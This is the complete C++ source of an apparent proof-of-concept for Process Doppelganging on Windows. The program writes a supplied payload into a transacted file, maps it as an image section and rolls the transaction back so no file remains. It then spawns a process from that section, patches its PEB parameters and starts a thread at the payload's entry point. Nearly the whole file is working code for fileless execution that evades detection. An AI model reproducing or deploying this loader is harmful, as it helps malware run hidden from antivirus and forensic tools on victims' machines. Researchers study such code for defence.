/
main.cpp
308 lines (280 loc) · 9.07 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
#include <Windows.h>
#include <KtmW32.h>
#include <iostream>
#include <stdio.h>
#include "ntddk.h"
#include "ntdll_undoc.h"
#include "util.h"
#include "pe_hdrs_helper.h"
#pragma comment(lib, "KtmW32.lib")
#pragma comment(lib, "Ntdll.lib")
#define PAGE_SIZE 0x1000
bool set_params_in_peb(PVOID params_base, HANDLE hProcess, PROCESS_BASIC_INFORMATION &pbi)
{
// Get access to the remote PEB:
ULONGLONG remote_peb_addr = (ULONGLONG)pbi.PebBaseAddress;
if (!remote_peb_addr) {
std::cerr << "Failed getting remote PEB address!" << std::endl;
return false;
}
PEB peb_copy = { 0 };
ULONGLONG offset = (ULONGLONG)&peb_copy.ProcessParameters - (ULONGLONG)&peb_copy;
// Calculate offset of the parameters
LPVOID remote_img_base = (LPVOID)(remote_peb_addr + offset);
//Write parameters address into PEB:
SIZE_T written = 0;
if (!WriteProcessMemory(hProcess, remote_img_base,
¶ms_base, sizeof(PVOID),
&written))
{
std::cout << "Cannot update Params!" << std::endl;
return false;
}
return true;
}
bool buffer_remote_peb(HANDLE hProcess, PROCESS_BASIC_INFORMATION &pi, OUT PEB &peb_copy)
{
memset(&peb_copy,0,sizeof(PEB));
PPEB remote_peb_addr = pi.PebBaseAddress;
#ifdef _DEBUG
std::cout << "PEB address: " << (std::hex) << (ULONGLONG)remote_peb_addr << std::endl;
#endif
// Write the payload's ImageBase into remote process' PEB:
NTSTATUS status = NtReadVirtualMemory(hProcess, remote_peb_addr, &peb_copy, sizeof(PEB), NULL);
if (status != STATUS_SUCCESS)
{
std::cerr <<"Cannot read remote PEB: "<< GetLastError() << std::endl;
return false;
}
return true;
}
LPVOID write_params_into_process(HANDLE hProcess, PVOID buffer, SIZE_T buffer_size, DWORD protect)
{
//Preserve the aligmnent! The remote address of the parameters must be the same as local.
LPVOID remote_params = VirtualAllocEx(hProcess, buffer, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (remote_params == nullptr) {
std::cerr << "RemoteProcessParams failed" << std::endl;
return nullptr;
}
if (!WriteProcessMemory(hProcess, buffer, buffer, buffer_size, NULL)) {
std::cerr << "RemoteProcessParams failed" << std::endl;
return nullptr;
}
return buffer;
}
bool setup_process_parameters(HANDLE hProcess, PROCESS_BASIC_INFORMATION &pi, LPWSTR targetPath)
{
//---
UNICODE_STRING uTargetPath = { 0 };
RtlInitUnicodeString(&uTargetPath , targetPath);
//---
wchar_t dirPath[MAX_PATH] = { 0 };
get_directory(targetPath, dirPath, MAX_PATH);
UNICODE_STRING uCurrentDir = { 0 };
RtlInitUnicodeString(&uCurrentDir, dirPath);
//---
wchar_t dllDir[] = L"C:\\Windows\\System32";
UNICODE_STRING uDllDir = { 0 };
RtlInitUnicodeString(&uDllDir, dllDir);
//---
UNICODE_STRING uWindowName = { 0 };
wchar_t *windowName = L"Process Doppelganging test!";
RtlInitUnicodeString(&uWindowName, windowName);
PRTL_USER_PROCESS_PARAMETERS params = nullptr;
NTSTATUS status = RtlCreateProcessParametersEx(
¶ms,
(PUNICODE_STRING) &uTargetPath,
(PUNICODE_STRING) &uDllDir,
(PUNICODE_STRING) &uCurrentDir,
(PUNICODE_STRING) &uTargetPath,
nullptr,
(PUNICODE_STRING) &uWindowName,
nullptr,
nullptr,
nullptr,
RTL_USER_PROC_PARAMS_NORMALIZED
);
if (status != STATUS_SUCCESS) {
std::cerr << "RtlCreateProcessParametersEx failed" << std::endl;
return false;
}
LPVOID remote_params = write_params_into_process(hProcess, params, params->Length, PAGE_READWRITE);
if (!remote_params) {
std::cout << "[+] Cannot make a remote copy of parameters: " << GetLastError() << std::endl;
return false;
}
#ifdef _DEBUG
std::cout << "[+] Parameters mapped!" << std::endl;
#endif
PEB peb_copy = { 0 };
if (!buffer_remote_peb(hProcess, pi, peb_copy)) {
return false;
}
if (!set_params_in_peb(remote_params, hProcess, pi)) {
std::cout << "[+] Cannot update PEB: " << GetLastError() << std::endl;
return false;
}
#ifdef _DEBUG
if (!buffer_remote_peb(hProcess, pi, peb_copy)) {
return false;
}
std::cout << "> ProcessParameters addr: "<< peb_copy.ProcessParameters << std::endl;
#endif
return true;
}
bool process_doppel(wchar_t* targetPath, BYTE* payladBuf, DWORD payloadSize)
{
DWORD options, isolationLvl, isolationFlags, timeout;
options = isolationLvl = isolationFlags = timeout = 0;
HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr);
if (hTransaction == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to create transaction!" << std::endl;
return false;
}
wchar_t* dummy_name = get_file_name(targetPath);
HANDLE hTransactedFile = CreateFileTransactedW(dummy_name,
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL,
hTransaction,
NULL,
NULL
);
if (hTransactedFile == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to create transacted file: " << GetLastError() << std::endl;
return false;
}
DWORD writtenLen = 0;
if (!WriteFile(hTransactedFile, payladBuf, payloadSize, &writtenLen, NULL)) {
std::cerr << "Failed writing payload! Error: " << GetLastError() << std::endl;
return false;
}
HANDLE hSection = nullptr;
NTSTATUS status = NtCreateSection(&hSection,
SECTION_ALL_ACCESS,
NULL,
0,
PAGE_READONLY,
SEC_IMAGE,
hTransactedFile
);
if (status != STATUS_SUCCESS) {
std::cerr << "NtCreateSection failed" << std::endl;
return false;
}
CloseHandle(hTransactedFile);
hTransactedFile = nullptr;
if (RollbackTransaction(hTransaction) == FALSE) {
std::cerr << "RollbackTransaction failed: " << GetLastError() << std::endl;
return false;
}
CloseHandle(hTransaction);
hTransaction = nullptr;
HANDLE hProcess = nullptr;
status = NtCreateProcessEx(
&hProcess, //ProcessHandle
PROCESS_ALL_ACCESS, //DesiredAccess
NULL, //ObjectAttributes
NtCurrentProcess(), //ParentProcess
PS_INHERIT_HANDLES, //Flags
hSection, //sectionHandle
NULL, //DebugPort
NULL, //ExceptionPort
FALSE //InJob
);
if (status != STATUS_SUCCESS) {
std::cerr << "NtCreateProcessEx failed" << std::endl;
return false;
}
PROCESS_BASIC_INFORMATION pi = { 0 };
DWORD ReturnLength = 0;
status = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
&pi,
sizeof(PROCESS_BASIC_INFORMATION),
&ReturnLength
);
if (status != STATUS_SUCCESS) {
std::cerr << "NtQueryInformationProcess failed" << std::endl;
return false;
}
PEB peb_copy = { 0 };
if (!buffer_remote_peb(hProcess, pi, peb_copy)) {
return false;
}
ULONGLONG imageBase = (ULONGLONG) peb_copy.ImageBaseAddress;
#ifdef _DEBUG
std::cout << "ImageBase address: " << (std::hex) << (ULONGLONG)imageBase << std::endl;
#endif
DWORD payload_ep = get_entry_point_rva(payladBuf);
ULONGLONG procEntry = payload_ep + imageBase;
if (!setup_process_parameters(hProcess, pi, targetPath)) {
std::cerr << "Parameters setup failed" << std::endl;
return false;
}
#ifdef _DEBUG
std::cout << "Process created!" << std::endl;
std::cerr << "EntryPoint at: " << (std::hex) << (ULONGLONG)procEntry << std::endl;
#endif
HANDLE hThread = NULL;
status = NtCreateThreadEx(&hThread,
THREAD_ALL_ACCESS,
NULL,
hProcess,
(LPTHREAD_START_ROUTINE) procEntry,
NULL,
FALSE,
0,
0,
0,
NULL
);
if (status != STATUS_SUCCESS) {
std::cerr << "NtCreateThreadEx failed: " << GetLastError() << std::endl;
return false;
}
return true;
}
int wmain(int argc, wchar_t *argv[])
{
if (argc < 2) {
std::cout << "params: <payload path> [*target path]\n" << std::endl;
std::cout << "* - optional" << std::endl;
system("pause");
return 0;
}
if (init_ntdll_func() == false) {
return -1;
}
wchar_t defaultTarget[] = L"C:\\Windows\\yolo.txt";
wchar_t *targetPath = defaultTarget;
if (argc >= 3) {
targetPath = argv[2];
}
wchar_t *payloadPath = argv[1];
size_t payloadSize = 0;
BYTE* payladBuf = buffer_payload(payloadPath, payloadSize);
if (payladBuf == NULL) {
std::cerr << "Cannot read payload!" << std::endl;
return -1;
}
bool is_ok = process_doppel(targetPath, payladBuf, (DWORD) payloadSize);
free_buffer(payladBuf, payloadSize);
if (is_ok) {
std::cerr << "[+] Done!" << std::endl;
} else {
std::cerr << "[-] Failed!" << std::endl;
#ifdef _DEBUG
system("pause");
#endif
return -1;
}
#ifdef _DEBUG
system("pause");
#endif
return 0;
}